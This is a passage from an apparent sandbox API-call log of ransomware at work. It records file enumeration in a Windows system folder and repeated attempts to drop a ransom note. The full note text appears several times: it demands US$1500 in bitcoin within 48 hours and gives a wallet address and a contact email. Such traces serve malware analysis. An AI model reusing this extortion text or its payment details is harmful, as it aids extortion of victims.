are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.385] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.385] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.385] CloseHandle (hObject=0xffffffff) returned 0 [0165.385] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="netscape.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\netscape.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\netscape.browser" [0165.385] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf383cb5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf383cb5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9761686b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xf7d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="nokia.browser", cAlternateFileName="NOKIA~1.BRO")) returned 1 [0165.385] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.385] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="nokia.browser") returned -1 [0165.385] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="nokia.browser") returned -1 [0165.385] lstrcmpiA (lpString1="", lpString2="nokia.browser") returned -1 [0165.385] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\netscape.browser") returned="netscape.browser" [0165.385] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.386] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.386] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.386] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.386] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.386] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.386] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.386] CloseHandle (hObject=0xffffffff) returned 0 [0165.386] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="nokia.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\nokia.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\nokia.browser" [0165.387] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf3a9e12, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf3a9e12, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x97688c85, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x25b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="openwave.browser", cAlternateFileName="OPENWA~1.BRO")) returned 1 [0165.387] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.387] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="openwave.browser") returned -1 [0165.387] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="openwave.browser") returned -1 [0165.387] lstrcmpiA (lpString1="", lpString2="openwave.browser") returned -1 [0165.387] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\nokia.browser") returned="nokia.browser" [0165.387] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.387] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.387] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.387] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.387] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.387] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.388] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.388] CloseHandle (hObject=0xffffffff) returned 0 [0165.388] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="openwave.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\openwave.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\openwave.browser" [0165.388] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf3f60cc, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf3f60cc, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x976aede3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3410, dwReserved0=0x0, dwReserved1=0x0, cFileName="opera.browser", cAlternateFileName="OPERA~1.BRO")) returned 1 [0165.388] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.388] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="opera.browser") returned -1 [0165.388] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="opera.browser") returned -1 [0165.388] lstrcmpiA (lpString1="", lpString2="opera.browser") returned -1 [0165.388] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\openwave.browser") returned="openwave.browser" [0165.388] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.388] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.388] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.389] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.389] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.389] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.389] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.389] CloseHandle (hObject=0xffffffff) returned 0 [0165.389] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="opera.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\opera.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\opera.browser" [0165.390] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf41c229, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf41c229, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x976aede3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6703, dwReserved0=0x0, dwReserved1=0x0, cFileName="palm.browser", cAlternateFileName="PALM~1.BRO")) returned 1 [0165.390] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.390] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="palm.browser") returned -1 [0165.390] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="palm.browser") returned -1 [0165.390] lstrcmpiA (lpString1="", lpString2="palm.browser") returned -1 [0165.390] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\opera.browser") returned="opera.browser" [0165.390] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.390] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.390] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.390] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.390] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.390] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.390] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.391] CloseHandle (hObject=0xffffffff) returned 0 [0165.391] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="palm.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\palm.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\palm.browser" [0165.391] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf442386, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf442386, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x976fb09f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="panasonic.browser", cAlternateFileName="PANASO~1.BRO")) returned 1 [0165.391] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.391] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="panasonic.browser") returned -1 [0165.391] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="panasonic.browser") returned -1 [0165.391] lstrcmpiA (lpString1="", lpString2="panasonic.browser") returned -1 [0165.391] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\palm.browser") returned="palm.browser" [0165.391] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.391] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.391] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.392] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.392] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.392] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.392] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.392] CloseHandle (hObject=0xffffffff) returned 0 [0165.392] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="panasonic.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\panasonic.browser") 